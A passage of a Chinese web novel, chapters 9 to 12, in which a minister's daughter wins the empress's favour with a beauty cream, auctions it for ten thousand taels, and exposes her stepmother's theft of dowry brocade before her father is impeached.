他发现,这个女人的战场,他好像真的不太懂。
第9章 讨人喜欢的儿媳
当天夜里,晚晴居内,灯火通明。
沈琉璃端坐于书案前,神情专注,她的回信,写得极尽谦卑。
通篇没有一句是为自己的行为辩解,反而充满了小女儿家的惶恐。
她写道,自己听闻未来夫君乃是人中之龙,因此日夜忧思,唯恐自己笨拙,将来入了东宫,会因不善理家而堕了太子的威名。
因此才学着打理这些小生意,本想等略有心得之后,再向太子殿下汇报,没想到竟因一点虚名,提前惊扰了殿下,心中实在是惶恐至极。
至于那“玉容膏”,她更是将其描述为“乡野偏方,偶得之物”,自己本不敢示人,既然殿下已有所耳闻,便斗胆献上此物,恳请殿下“斧正”。
若是此物尚可入眼,是它的荣幸;若是此物粗鄙不堪,也求殿下看在她一片痴心上,莫要怪罪。
落款是“您的璃儿,盼君安”。
肉麻的连君北玄都在她脑子里发出了一阵阵嫌恶的冷哼。
“矫揉造作,卑躬屈膝,本王从未见过如此……如此没有骨气的文字。”他毫不客气地批判道。
“谢谢夸奖,”沈琉璃心情很好,“这就叫专业。”
她将信小心翼翼地折好,又亲自挑选了所有“玉容膏”中,品相最完美的一盒,用最上等的锦缎包裹,一同放入一个檀木盒中。
做完这一切,她将太子的来信和自己的回礼,一并交给了父亲。
沈从安看了太子的信,又看了女儿的回信和礼物,脸上露出了极为复杂的神情。有震惊,有欣赏,但更多的是欣慰。
他原以为女儿只是小打小闹,没想到竟惊动了太子,而女儿的应对,却堪称完美,既解释了缘由,又示之以弱,还送上了贴心的礼物,将皮球巧妙地踢了回去。
这等手腕,哪里还是那个需要他庇护的小女孩?
“你做得很好!”沈从安拍了拍女儿的肩膀,沉声道,“放心,为父会用最稳妥的渠道,将此物送到大徽的东宫。”
数日后,大徽王朝,京城,东宫。
太子君怀瑾正临窗而坐,悠然地喂着笼中的一只白玉鸟。
他身着一袭月白色常服,面容温润,气质儒雅,仿佛一位不食人间烟火的谪仙。
他最信任的内侍总管常德,迈着小碎步,悄无声息地走了进来,手中捧着一个精致的檀木盒。
“殿下,乾国沈府八百里加急送来的物件。”
“哦?”君怀瑾的眉梢轻轻一挑,放下了手中的鸟食,接过了木盒。
他先是展开了信纸,一目十行地看完,脸上那抹温和的笑容,不由得更深了几分,只是眼底,却毫无笑意。
“有意思,”他将信纸递给常德,“这个沈琉璃,比孤想象的,要有趣得多。”
常德躬身看完,也陪着笑道:“是呢,沈大小姐这份心思,真是玲珑剔透,既捧了您,又把自己的小动作遮掩得干干净净,还显得楚楚可怜,让人不忍苛责。”
“是啊,”君怀瑾打开了盒子,看到了那只素雅的白瓷圆盒,“她以为孤看不出她的伎俩,但她不知道,孤欣赏的,恰恰就是她的这份伎俩。”
他将“玉容膏”拿在手中,感受着瓷盒的温润,却没有打开。
他对这些女人家的东西,没有半点兴趣,他感兴趣的,是沈琉璃这个人,是她所展现出来,可以为己所用的价值。
“殿下,这东西,就是近来在乾国都城传得神乎其神的‘玉容膏’?”常德好奇地问。
“应该是了。”君怀瑾把玩着瓷盒,忽然想到了什么,嘴角勾起一抹莫测的笑容。
“常德。”
“奴才在。”
“母后近来,不是常说凤体欠安,睡眠不佳,以致容颜憔悴吗?”
常德心中一动,立刻会意:“是,皇后娘娘正为此事烦心呢。”
君怀瑾将手中的白瓷小盒,轻轻放回了檀木盒中,然后盖上盖子,推到了常德面前。
“将此物,即刻送到母后的凤仪宫去。”他淡淡地吩咐道。
“就说,这是未来的儿媳沈琉璃,听闻母后凤体抱恙,特意从乾国寻来的神物。一片孝心,千里相送,望母后凤颜大悦。”
常德心中暗暗一凛。
高,实在是高!
太子这一手,真可谓是一石三鸟!
他既测试了这“玉容膏”的真假,又用别人的东西在母后面前尽了孝心,更是将沈琉璃这个未来儿媳的“孝顺贤惠”,提前烙印在了皇后的心中。
而沈琉璃,她那原本只想讨好未来夫君,“投石问路”的棋子,在她毫不知情的情况下,已经改变了方向,朝着一个更尊贵的目标,飞了过去。
大徽王朝,凤仪宫。
皇后韦氏正慵懒地斜倚在贵妃榻上,两名宫女跪在地上,小心翼翼地为她捶着腿。她年近四十,保养得宜,但眼角眉梢,仍旧难掩因操劳国事和后宫而留下的疲惫。
“太子殿下派人送了东西来,说是乾国未来的太子妃,沈家大小姐,为您寻来的养颜神物。”心腹女官在她耳边轻声禀报。
“哦,沈琉璃?”韦皇后眼皮都未抬一下,语气里带着淡淡的轻蔑,“一个偏远小国、臣子家里的女儿,能有什么好东西,不过是些上不得台面的玩意儿,想巴结东宫罢了。”
她对这桩婚事,本就不甚满意。
在她看来,自己的儿子,未来的大徽之主,理应迎娶一个顶级门阀的贵女,强强联合。奈何,这是皇帝为了安抚边境定下的国策,她也无法反对。
女官见状,又补充道:“殿下说,这位沈大小姐听闻娘娘您近来身体欠安,特意千里迢迢送来这份孝心,殿下他看着很是欢喜。”
听到“儿子欢喜”,皇后的态度才终于有了几分松动。
“呈上来吧。”她有些不耐烦地摆了摆手。
内侍总管常德,亲自捧着那个檀木盒,恭恭敬敬地走了进来。
当皇后看到那个简陋的白瓷小盒时,眼中的不屑更浓了,可当她打开盒盖,闻到那股清洌独特的异香时,精神却不由得为之一振。
“这香气倒是奇特。”她来了些兴趣,用玉勺的柄端,轻轻挑起一点膏体。
那膏体色泽粉润,质地细腻,与她平日里用的那些厚重油腻的香膏,截然不同。
“娘娘,此物名为‘玉容膏’,近来在乾国都城,被传为神物呢。”常德在一旁恰到好处地补充了一句。
“神物?”韦皇后嗤笑一声,“世上哪有什么神物。”
话虽如此,她还是鬼使神差的,将那一小点膏体,涂抹在了自己手背的虎口处。
冰凉的触感传来,膏体瞬间吸收,皮肤仿佛立刻喝饱了水,变得滋润而光滑。
“咦?”她发出一声轻微的惊叹。
当夜,她便抱着试一试的心态,在脸上薄薄地涂抹了一层。那一晚,她睡得格外安稳,连日来的烦躁感,都消散了许多。
第二天清晨,当她被宫人服侍着梳洗,无意间瞥了一眼镜子时,整个人都愣住了。
镜中的自己,眼角下的细纹,竟淡化了许多,整张脸的皮肤,都透着一种健康莹润的光泽,仿佛年轻了好几岁!
“天哪!”伺候她梳妆的老宫女,也发出了不敢置信的惊呼,“娘娘,您今日的气色真是太好了!”
皇后抚摸着自己光滑紧致的脸颊,眼中迸发出了属于女人的光彩。
她立刻命人传召太子。
“瑾儿,”当君怀瑾来到凤仪宫时,皇后拉着他的手,脸上的笑容是发自内心的,“你这次,可真是给母后寻来了一个好儿媳!”
君怀瑾看着母亲那焕然一新的容颜,心中了然,脸上却故作惊讶:“母后何出此言?”
“你看看,”韦皇后指着自己的脸,得意地说道,“就是那个沈琉璃送来的‘玉容膏’!果真是神物,本宫不过用了一夜,便有如此奇效。这孩子,有心了,实在是太有心了!”
“既是儿媳的一片孝心,能得母后欢心,便是她最大的福气了。”君怀瑾温言笑道。
“嗯,”皇后满意地点点头,“此女虽出身不高,但胜在聪慧。你写封信去,就说本宫很喜欢她的礼物,让她好生备嫁。再从本宫的私库里,挑几样上好的首饰赏赐给她,也算本宫这个未来婆婆,给她的体面。”
这个消息,如同一阵春风,迅速吹遍了整个大徽后宫,乃至京城。
未来的太子妃,人还未到,便凭借一份“养颜神物”,赢得了皇后娘娘的欢心!
这可比任何家世背景,都来得更实在!
一时间,“玉容膏”这三个字,彻底封神,它不再是贵妇圈里的传说,而是得到了皇家认证的“仙膏”!
……
乾国都城,“四海珍宝阁”即将举办的首次拍卖会,其请柬,被炒到了千金一张的天价。
而当大徽皇后亲笔写就的嘉奖信和一箱子光彩夺目的赏赐,八百里加急送到乾国尚书府时,整个沈家,都沸腾了。
沈从安激动得老泪纵横,连连感叹女儿争气,祖坟冒了青烟。
被禁足的柳氏,在自己院中听到这个消息,气得当场就砸了一套最心爱的茶具。
晚晴居内。
沈琉璃看着眼前那箱子由大徽皇后亲赐的首饰和珠宝,脸上却没有半分喜悦。
她赢了,赢得彻彻底底。
可她心中,却升起了一股更深的寒意。
“我本只想在池塘里炸一条小鱼,”她在心里对君北玄说,“结果,却把整片大海里的鲨鱼,都给引来了。”
“不,你不是引来了鲨鱼。”君北玄的声音,前所未有的凝重。
“你是在风平浪静的时候,主动跳进了鲨鱼群里。”
“恭喜你,沈琉璃,从今天起,你不再是一个可以躲在幕后的棋手了,你已经成了大徽皇后和太子眼中,一枚极有价值的棋子。”
第10章 一万两的玉容膏
君北玄的话,如同一颗投入心湖的石子,在沈琉璃的心中漾开了一圈圈涟漪。
她不再是那个可以躲在暗处,做个“小炮灰”的尚书府嫡女了。
大徽皇后的赏识,就像一顶华丽的荆棘王冠,为她带来了无上荣光的同时,也将她推到了风口浪尖。
而即将到来的“玉容膏”首次拍卖会,则会将这束光,放大百倍,千倍。
这几日,整个乾国京城,都为了一张小小的烫金邀请柬而疯狂。
“小姐,您是没瞧见,外面都传疯了!”
春桃像一只蝴蝶,从外面飞了进来,手里还攥着一把刚买的糖炒栗子,激动得小脸通红:“听说,吏部王侍郎家的小妾,为了从夫人那里偷一张请柬出来,差点被打断了腿。还有黑市上,咱们那一张请柬,已经被炒到五百两银子一张了!”
她一边说,一边剥了个栗子塞进嘴里,含糊不清地补充道:“五百两,都够在城南买个小院子了,小姐,这是在卖门票吗?感觉比卖玉容膏还赚钱啊!”
沈琉璃被她这副财迷的样子逗笑了,心中的紧张感也消散了不少。
“瞧你这点出息。”
“哼,妇人之见,区区五百两,便能让她高兴成这样。”君北玄在她脑中,对春桃的“商业头脑”做出了评价。
“说起来,”沈琉璃没有理会君北玄的毒舌,转而问向春桃,“让你去办的事,办得如何了?”
春桃立刻咽下栗子,挺直腰板,像个汇报军情的小兵:“办妥了,小姐!奴婢亲自去的‘四海珍宝阁’,以一个不愿透露姓名的‘江南药商’的名义,同他们的刘掌柜谈妥了。”
“奴婢按照您的吩咐,说我们这位‘药商’不仅愿意将‘玉容膏’交由他们独家拍卖,还愿意将一件举世无双的‘九龙戏珠’,作为彩头,无偿赠送给本次拍卖会上,拍得最后一盒玉容膏的客人。那刘掌柜一听,激动的胡子都在发抖!”
“他不仅答应了我们所有的要求,还主动提出,只收我们半成的佣金,并且承诺,会将这次拍卖会,办成他开业三十年来,最风光的一次!”
“很好。”沈琉璃满意地点了点头。
她知道,她这招“投石问路”,算是成了。
将一件真正的无价之宝作为“赠品”,不仅能将拍卖会的热度推向顶峰,更能侧面烘托出“玉容膏”的珍贵。毕竟,能与此等宝物相配的,又岂是凡品?
“愚蠢的策略。”君北玄的声音,又不合时宜地响了起来,“将你手中最具威慑力的‘重武器’,拱手送人,只为了一些虚无缥缈的名声。若是本王,定会将此物牢牢握在手中,作为最后的底牌。”
“所以说,将军,您不懂女人的战争。”沈琉璃懒洋洋地在心里回敬道,“对我们女人而言,有时候,一件能让所有人都嫉妒的‘赠品’,远比一件锁在箱子里的‘底牌’,要有杀伤力得多。前者,能让我的朋友们更爱我,让我的敌人们更恨我,这就够了。”
她一边说着,一边铺开那张早已被她翻阅了无数遍的宾客名单。
“户部尚书的夫人,与兵部侍郎的夫人,是出了名的死对头。我们要让刘掌柜,把她们的座位,安排在一起。”
“吏部孙侍郎的千金,最爱出风头,但财力有限。我们让刘掌柜,把她的位置,安排在财大气粗的盐商夫人旁边,让她每一次举牌,都像是在‘班门弄斧’。”
“还有苏晚晚……”她的指尖,点在了那个熟悉的名字上,嘴角勾起一抹冷笑,“她既然想当全场的焦点,那我就让她如愿以偿。把她的位置,安排在最中间,灯火最明亮的地方,让她接受所有人的‘注目礼’。”
君北玄听着她这一系列“阴险”的安排,陷入了长久的沉默。
“本王收回前言。”许久,他才用一种极其复杂的语气说道,“你这些手段,比本王排兵布阵,还要歹毒。你根本不是什么深闺弱女,你就是个女妖精。”
“多谢夸奖。”沈琉璃欣然接受。
夜,渐深。
整个京城,暗流涌动。
所有人都以为,自己是这场大戏的看客,却不知,他们早已都成了别人戏中的角色。
只等着明日,大幕拉开。
拍卖会当日,四海珍宝阁,被围得水泄不通。
奢华的马车从清晨起,便络绎不绝地汇集于此。
从车上走下的贵妇千金们,个个衣着华丽,神情中却带着紧张与期待。她们手中的银票,早已备好,仿佛即将奔赴一场没有硝烟的战场。
三楼雅间,沈琉璃隔着一层薄纱,如同一位幕后的棋手,俯瞰着楼下这片由金钱与欲望交织而成的“棋局”。
“小姐,快看,那就是苏晚晚。她今天戴的那套头面,听说就是‘百花阁’的镇店之宝。啧啧,真是好大的排场!”春桃趴在栏杆边,像个土拨鼠,小声地惊呼着。
沈琉璃顺着她的目光看去,只见苏晚晚正坐在全场最中心的位置,如同众星拱月一般,高傲地享受着周围贵女们的奉承。
“哼,不过是些没用的石头和铁片罢了,若是上了战场,连一把最钝的腰刀都换不来。”君北玄在她脑中,评价道,“还有她的坐姿,腰杆挺得太直,重心不稳,若遇突袭,第一个死的就是她。”
“王爷,您是在用‘战场生存指南’,来比喻一场贵女间的竞拍吗?”沈琉璃在心里无奈地吐槽,“您能不能稍微接一点地气?”
“兵法,适用于任何地方。”君北玄傲然道。
随着一声清脆的锣响,拍卖会正式开始。
在拍卖师极具煽动性的开场白,以及对今日拍品的反复渲染后……
第一盒“玉容膏”,终于被两位美貌侍女,用明黄色的锦缎托盘,小心翼翼地捧上了展台。
那一刻,全场所有的呼吸,都为之一滞。
“第一盒玉容膏,起拍价,白银一百两,每次加价,不得低于十两!”
“三百两!”户部尚书夫人,第一个举起了牌子,她看向身旁兵部侍郎夫人的眼神,充满了挑衅。
“三百五十两!”兵部侍郎夫人,毫不示弱地跟上。
“五百两!”
“六百两!”
价格,在极短的时间内,就飙升到了一个令人咋舌的高度。
最终,第一盒玉容膏,以一千三百两的高价,被户部尚书的夫人成功拍下。她得意地瞥了一眼身旁脸色铁青的兵部侍郎夫人,像一只打了胜仗的斗鸡。
接下来的几盒,更是将现场的气氛,一次又一次地推向高潮。
“一千五百两!”
“两千一百两!”
“两千七百两!”
当第九盒“玉容膏”以一个破纪录的三千六百两价格成交时,在场所有没能拍到的人,都急了。
尤其是苏晚晚,她今天代表着礼部侍郎府的脸面,若是不能将这最后一盒,连同那件“九龙戏珠”的彩头一并拿下,明日便会成为全城的笑柄。
“各位!现在,是我们今天的最后一盒!”拍卖师的声音,充满了诱惑力,“也是我们‘玉容膏’,在未来一个月内,最后一批面世的珍品。更是能让您,将那件举世无双的‘九龙戏珠’玉雕,一同带回府上的唯一机会。珍贵程度,无需多言,起拍价,四千两白银,每次加价不得低于一百两!”
这个起拍价,直接就超过了之前所有拍卖品的成交价!
全场,彻底疯狂了!
“四千五百两!”苏晚晚几乎是嘶吼着报出了这个价格,她直接站了起来,向所有人示威。
“五千两!”一位低调的侯爵夫人,缓缓举起了牌子。
“六千五两!”
“八千五百两!”
价格,在最后时刻,进入了白热化的缠斗。
最终,在苏晚晚报出“九千五百两”这个近乎疯狂的价格后,全场终于陷入了短暂的安静,这个价格,仿佛已经超出了所有人的承受极限。
苏晚晚的脸上,终于露出了惨白而又得意的笑容。
拍卖师举起了手中的小锤,深吸一口气,正要一锤定音。
就在此时——
一个慵懒却又带着几分玩世不恭的男性声音,忽然从二楼最尊贵的“天字号”雅间里,不紧不慢地传了出来。
“一万两。”
第11章 继母的伎俩
一万两。
简简单单的三个字,却像一道九天惊雷,狠狠地劈在了拍卖行内每一个人的心上。
满室的喧嚣与狂热,在这一瞬间,被彻底浇灭。
所有人都被这个数字,给震慑住了。
苏晚晚脸上的笑容,瞬间凝固,随即化为了不敢置信。她猛地抬头,看向那个“天字号”雅间,眼中充满了怨毒。
拍卖师也是一愣,随即用一种无比恭敬的语气,高声喊道:“天字号的贵客,出价一万两,一万两一次,一万两两次,一万两成交!”
随着一声脆响,这场震惊全城的拍卖会,终于落下了帷幕。
人群渐渐散去,但关于“天字号贵客”身份的猜测,迅速传遍了京城。
三楼雅间内,沈琉璃的眉头,紧紧地锁了起来。
“这个人,究竟是谁?”春桃也忘了高兴,紧张地问道。
“一个我们目前,绝对惹不起的人。”沈琉璃缓缓说道。
“管他是谁!”君北玄的声音,充满了战意,“他这一手,好像是在跟什么人炫耀,这手段比本王想象的,还要张扬一些。”
这是将军的看法,沈琉璃却摇了摇头,她有一种属于女人更敏锐的直觉。
“不,”她轻声说,“我觉得他未必有那么复杂的目的,他给我的感觉,更像是因为生活无聊,随手就往平静的湖里,扔块石头的疯子。他享受的,不是石头能砸出什么结果,而是湖面泛起涟漪时,那种混乱的乐趣。”
“无论是将军,还是疯子……”君北玄冷声道,“一头露出了獠牙的狼,就必须被视为威胁,当务之急,是查清他的身份。”
回到晚晴居,喧嚣散尽,但最后那个横空出世的“一万两”,却像一根刺,扎在了沈琉璃的心头。
“忠叔,”她对着空气,轻声吩咐道,“我要知道,天字号雅间里,客人的真实身份。动用我们所有能用的人脉,去查。”
“是,小姐。”忠叔的身影,从门外的阴影中,悄然出现,又悄然退去。
一个时辰后,忠叔再次回来。
“小姐,查到了。”
“说。”
“刘掌柜那边,口风很紧,什么都问不出来。”忠叔汇报道,“但是,老奴花重金,买通了一位在雅间外伺候茶水的小厮。据他说,那位爷出手阔绰,极为神秘,但在最后,他用茶水漱口时,‘不小心’,露出了一块腰牌。”
“什么腰牌?”沈琉璃的心,提了起来。
“是一块……大徽皇子才会佩戴的四爪蛟龙纹黑玉牌。”
皇子!
君非逸。
大徽王朝,四皇子。
她看着窗外那轮弯月,只觉得那月光,也带上了冰冷的寒意。她知道,自己这场看似成功的商业大秀,从一开始,就落入了某些更高级别的猎人手中。
她正沉思着,又有其他下人前来向忠叔禀报。
“小姐,出事了。”
“何事惊慌?”
“府里……府里出事了!”忠叔压低声音,急切地说道,“就在半个时辰前,夫人以‘清点库房’为名,带着好几个管事妈妈,去了府里的库房。奴才安插在库房的小厮传来消息,说夫人她们,将您那批最贵重的‘云锦’,全都搬空了!还用一批劣质的布料,给填了进去!”
“什么?”春桃失声惊叫。
沈琉璃的眼中,瞬间闪过冰冷的寒光。她就知道,柳氏不会让她安安稳稳地享受胜利。
她刚在外面打赢了一场大战,而她的敌人,却在她最风光的时候,悄无声息地,在后方,狠狠地捅了一刀!
雅间内,春桃失声惊叫,脸上血色尽褪。她怎么也想不到,自家小姐前脚刚在外面打赢了一场仗,后脚,夫人的黑手就已经伸向了小姐的立身之本!
沈琉璃缓缓放下手中的茶杯。
那份从拍卖会开始就一直紧绷着的心,不仅没有丝毫放松,反而因为忠叔带来的这个消息,被拧得更紧了。
好一招釜底抽薪!
她就知道,柳氏绝不会让她安安稳稳地过好日子。
“岂有此理!”君北玄的声音,在她脑海中如雷霆般炸响,充满了怒火,“嫁妆,对于一个即将和亲的女子而言,等同于邦交的国礼,更是她未来安身立命的资本。这个毒妇,调换贡品,暗藏劣货,这已不是简单的内宅争斗,这是在动摇国本,形同叛国!”
他顿了顿,声音里充满了命令口吻:“沈琉璃,你现在立刻回府。让你的那个忠叔,带上府中最得力的护卫,封锁嫁妆库房。将那个姓张的管事,就地拿下,让本王用上全套的审讯方法,不怕他不招出幕后主使!”
这是一个男人的思维,面对敌人的破坏,最直接有效的方式,就是用雷霆手段,揪出内奸,斩断黑手,以儆效尤。
然而,沈琉璃却想也不想,便在心中,冷静地否决了他的提议。
“不行。”
“为何不行?”君北玄的语气里充满了不解,“此等时刻,还讲什么妇人之仁,当断不断,反受其乱!”
“王爷,您又来了。”沈琉璃在心中无奈地叹了口气,“我问您,我若现在气势汹汹地回去,抓了人,动了刑,那张管事是柳氏的心腹,他会招吗?他只会一口咬定,是我这个新掌权的大小姐,为了安插自己的人手,故意栽赃陷害。到那时,我没有物证,只有一份屈打成招的口供,闹到父亲面前,你猜父亲会信谁?”
“他会为了家族的‘和睦’,为了‘家丑不可外扬’,让我这个嫡女,放过一个‘犯了错’的下人。最终,我不仅什么都得不到,还会落下一个‘心胸狭隘,手段毒辣’的名声,而柳氏,则毫发无伤。”
君北玄沉默了,他不得不承认,他那套在军营里无往不利的“铁血法则”,在大家族的“泥潭”里,确实水土不服。
“那依你之见,该当如何?”他有些不情不愿地问道,“难道就眼睁睁看着她们,把你的嫁妆,变成一堆破烂?”
“当然不。”沈琉璃的眼中,闪过与她柔弱外表截然不同的冷静,“你想用刀,一刀砍下去,痛快,但动静太大,也容易被人抓住把柄。而我,习惯用针。”
“针?”
“没错。”沈琉璃端起茶杯,轻轻吹了吹热气,“一根看不见的绣花针,悄无声息地,刺进敌人最致命的要害,等他感觉到疼的时候,已经晚了。”
她转头,对忠叔下达了她的指令。
“忠叔,你立刻回府,告诉你安插在库房的那个小厮,就当什么事都没发生过。让他继续盯着,看那张管事,以及和柳氏有关的每一个人,最近都在和那些人接触,尤其是城外的那些黑市商人。”
“是,小姐。”忠叔立刻领命。
“春桃,”她又对春桃说,“你去告诉刘掌柜,就说‘玉容膏’后续的销售,将采取‘限量拍卖与会员制’并行的方式。让他即刻开始,以‘四海珍宝阁’的名义,向京城最顶级的五十位贵妇,发出‘玉容膏’第一批会员的邀请函。会费,一年,一千两白银。”
“啊!”春桃张大了嘴,“小姐,府里都出这么大事了,我们还顾得上卖东西吗?”
“越是这种时候,我们越要装作什么都不知道。”沈琉璃的眼神,平静得可怕,“不要让这种事,影响我们的赚钱大计。要知道,猎人,只有在猎物最放松的时候,才会露出自己的獠牙。”
君北玄听着她的安排,再一次,陷入了沉默。
一个看似是需要他保护的“弱女子”,实际上,却是一柄比他想象中,还要致命的利刃。
接下来的几天,尚书府内,风平浪静。
沈琉璃每日的生活,规律得像一本教科书。
清晨,她会去给父亲请安,并就一些无关紧要的内宅账目,向他讨教;上午,她会带着春桃,去城中自家名下的几家铺子巡视,摆出一副努力学习经营之道的模样;下午,她则会回到晚晴居,弹琴,看书,绣花,仿佛对即将到来的危机,毫无察觉。
她越是如此,柳氏便越是安心。
在她看来,沈琉璃终究是个没见过世面的小丫头,被泼天的富贵砸晕了头,早已忘了自己姓甚名谁。
而就在柳氏以为自己胜券在握的时候,沈琉璃的反击,也正在暗中,有条不紊地进行着。
第12章 一波未平一波又起
这日,沈琉璃以“清点嫁妆,准备入册装箱”为由,带着春桃和几个新提拔上来的管事妈妈,来到了库房。
库房内,一箱箱的绸缎布料,码放得整整齐齐。
“小姐,您看,这些就是大徽皇家织造局特供的‘云锦’,一共三十二匹,一匹都不少呢。”负责看管库房的张管事,满脸堆笑地介绍道,他正是柳氏安插的心腹。
春桃上前,摸了摸那布料,惊叹道:“哇,真是太漂亮了,像天上的云彩一样!”
沈琉璃也走上前,伸出手,轻轻地抚摸着那匹最外层的云锦。
入手,丝滑,冰凉,看起来,似乎毫无破绽。
“这布料,确实是好。”她点了点头,脸上露出了满意的笑容。
张管事的心,彻底放了下来。
然而,沈琉璃的下一句话,却让他浑身的汗毛,瞬间就竖了起来。
“只是……”沈琉璃的眉头,微微蹙起,脸上露出了困惑,“我怎么觉得,这布料的触感,和我前几日,在皇太后那里见到的,不太一样呢?皇太后说,真正的云锦,抚摸起来,应该有一种‘如婴儿肌肤般温润’的‘涩感’,而不是像这样,一味地‘丝滑’。张管事,你说,这是为何呀?”
“这……这个……”张管事脸上的冷汗,一下子就冒了出来,“许是批次不同,工艺也略有不同吧。”
“是吗?”沈琉璃不置可否地笑了笑。
“蠢货,还跟他废话什么!”君北玄在她脑中,急不可耐地说道,“直接用本王教你的办法,一试便知!”
“不急。”沈琉璃在心中安抚他道,“演戏,就要演全套,不把他逼到绝路,他怎么会露出马脚?”
她转头,对一个管事妈妈吩咐道:“王妈妈,劳烦您,取一根烛火来。”
“小姐,您要烛火做什么?”
“我听闻,真正的云锦,其丝线乃是由千年冰蚕丝与金线捻成。遇火,只会蜷缩,绝不会燃烧,更不会有异味,我想亲手验证一下。”沈琉璃一脸好奇的模样。
这话一出,张管事的腿,当场就软了。
他“噗通”一声跪了下来,声泪俱下地喊道:“大小姐饶命,大小姐饶命啊,是老奴一时糊涂,是老奴不小心,将次一等的布料和这批贡品给弄混了。老奴这就去换回来,这就去!”
他这是想弃车保帅,将所有罪责都揽在自己身上。
“哦?只是弄混了这么简单吗?”沈琉璃居高临下地看着他,眼神中,再无半分温度,只剩下了审视,“那我倒要问问你,三十二匹真品云锦,全都弄混了?”
“我……我……”张管事汗如雨下,说不出话来。
就在此时,忠叔领着几个护卫,从库房外走了进来,他对着沈琉璃一躬身,沉声道:“小姐,都查清楚了。”
他呈上一本账册,朗声说道:“这张管事,在半个月内,与夫人娘家的柳二爷,私下会面了七次。就在三日前,柳二爷名下的一个车队,运送了一批‘布料’,连夜送往了城外的‘恒通’当铺,而那家当铺的幕后老板,正是礼部侍郎,苏振大人的小舅子!”
证据链,完整了!
张管事听到这里,直接瘫软在地,面如死灰。
沈琉璃看着他,缓缓地摇了摇头。
“本来,我念你只是受人指使,或许,还会饶你一命。”她的声音很轻,却像一把最锋利的刀子,扎进了张管事的心里。
“可惜,你千不该,万不该,在我给了你机会之后,还想把我当傻子耍。”
深夜,京城西门外的一条官道上。
一辆用油布遮得严严实实的骡车,在几个护卫的簇拥下,正借着月色,匆匆赶路。
车内,柳氏的弟弟柳二爷,正美滋滋地盘算着。
他这次,帮姐姐办成了这件大事,不仅能分到一大笔银子,更能搭上苏振和其背后大皇子这条线,日后,前途不可限量。
就在他做着升官发财的美梦时,前方的道路,忽然被几棵倒下的大树,给完全堵死了。
“怎么回事?”柳二爷不耐烦地掀开车帘。
“二爷,前面……前面好像塌方了!”护卫惊慌地喊道。
“废物,还不快去把树搬开!”柳二爷骂骂咧咧。
然而,他话音未落,道路两旁的树林里,忽然亮起了数十个火把!
火光之下,只见身着劲装的尚书府护卫,手持棍棒,从黑暗中走了出来,将他们团团围住。
为首的,正是沈从安和几位族中辈分最高的长老!
柳二爷的脑子“嗡”的一声,当场就懵了。
“姐……姐夫?”他结结巴巴地喊道,“您……您怎么会在这里?”
沈从安没有理他,只是用一种冰冷的眼神,盯着那辆骡车,沉声道:“开箱!”
两个护卫立刻上前,用刀撬开了车上的木箱。
箱盖打开,在火光的映照下,只见一匹匹流光溢彩的云锦,如同一卷卷凝固的晚霞,静静地躺在其中。
人赃并获!
柳二爷“噗通”一声,从车上滚了下来,跪在地上,抖如筛糠。
“姐夫,不关我的事啊,是姐姐,是姐姐让我这么做的,她说……她说……”
“闭嘴!”沈从安一声怒喝,打断了他。
他已经不想再听任何解释了,眼前这如山的铁证,比任何言语,都更具说服力。
他只觉得,自己的脸,被柳氏那个毒妇,狠狠地按在地上,反复摩擦。
当沈从安带着一众长老,押着人证物证,回到尚书府时,柳氏还在自己的院子里,悠然地品着茶。
当她看到被五花大绑的弟弟柳二爷,还有那一箱子本该被调换掉的云锦时,她手中的茶杯,“啪”地一声,摔得粉碎。
“不……不可能……”她面无人色,喃喃自语。
“你还有什么话可说?”沈从安指着她,声音因为愤怒而微微发颤。
柳氏看着丈夫那双充满了愤怒的眼睛,知道自己,已经再无任何狡辩的余地。
她忽然抬起头,死死地盯着站在沈从安身后,一脸“无辜”的沈琉璃,发出一声怨毒的嘶吼:“是你,是你这个小贱人,是你算计我!”
沈琉璃没有说话,只是用一种悲悯的眼神,静静地看着她。
是的,是我,可那又如何呢?
沈从安看着眼前这个,将家族脸面置于脚下践踏的沈家主母,气得浑身发抖,当即便要叫人取来笔墨,写下休书。
“不可!”一位族中辈分最高的长老,立刻上前按住了他的手,沉声道,“从安!国婚在即,全天下都看着我们沈家!此刻若闹出休妻的丑闻,让大徽王朝以为我们家风不正,德行有亏!若悔了这门亲事,你我谁能担待得起这个罪责?!”
沈从安闻言,闭上眼,胸口剧烈起伏,最终,那股滔天的怒火,被他强行压下。
他指着瘫软在地的柳氏,一字一顿地说道:“好!为了大局,为了琉璃,我可以不休你。但从今日起,禁足于‘静思苑’,无我手令不得踏出半步!”
他顿了顿,继续道:
他顿了顿,又看向早已吓得面无人色的沈清瑶,声音里没有半分怜惜。
“至于你,”他冷冷道,“身为沈家女儿,善妒无德,从旁为恶。罚你月例银两全部取消,在自己房中,亲手抄写《女诫》百遍!”
晚晴居内,沈琉璃静静地站在窗前,看着外边的阳光。
“赢了。”她在心里,对君北玄说。
“嗯,赢得还算干净。”君北玄难得地,没有再挑剔她的话。
“只是……”他又补充道,“你别忘了,柳氏,不过是别人推到台前的一颗棋子。真正的敌人,还在朝堂之上,对你虎视眈眈。”
沈琉璃点了点头,她当然明白这个道理。
就在此时,春桃行色匆匆地跑了进来,但这一次,她的脸上,没有了之前的任何喜悦,只剩下了无边的惊恐。
“小姐,不好了,出……出大事了!”
“这次又怎么了?”沈琉璃刚刚放下的心,又提了起来。
“是……是您父亲,在早朝上,出事了!”春桃的声音都在发颤,“就在刚才,礼部侍郎苏振,联合了十几位御史,在朝堂上,当众弹劾老爷。说老爷他,十年前督办黄河大堤时,贪墨了巨额公款,现在,御史台的人,已经把咱们家给围起来了,说是要奉旨查抄!”
“哐当——”
沈琉璃手中的茶杯,应声落地,摔得粉身碎骨。
她脸上的血色,也随之褪得干干净净。
茶杯落地的破碎声,在寂静的晚晴居内,显得格外刺耳。
春桃吓得脸色惨白,手足无措地看着自家小姐:“小姐,小姐您没事吧?”
沈琉璃没有回答,她只是静静地看着地上的碎片,一股寒意,从脚底,瞬间蔓延至四肢百骸。
她终于明白,柳氏那句“有的是人能斗得过你”是什么意思了。
后院的宅斗,哪怕再恶毒,也终究是妇人间的上不得台面的小打小闹,而现在,朝堂之上,那些真正的敌人,终于,向她亮出了最锋利的獠牙。
“看到了吗?”君北玄的声音,在她脑中,平静地响起,“你清扫了后院的蛇鼠,可盘踞在山顶的猛虎,已经下山了。”
“沈琉璃,你真正的战争,现在才刚刚开始。”
外面的喧嚣声越来越近,御史台的官差,已经将整个尚书府,团团围住。美其名曰“协助调查”,实则与软禁无异。
沈琉璃强迫自己冷静下来,她知道,这个时候,她绝不能乱。
她立刻起身,朝着父亲的书房跑去。
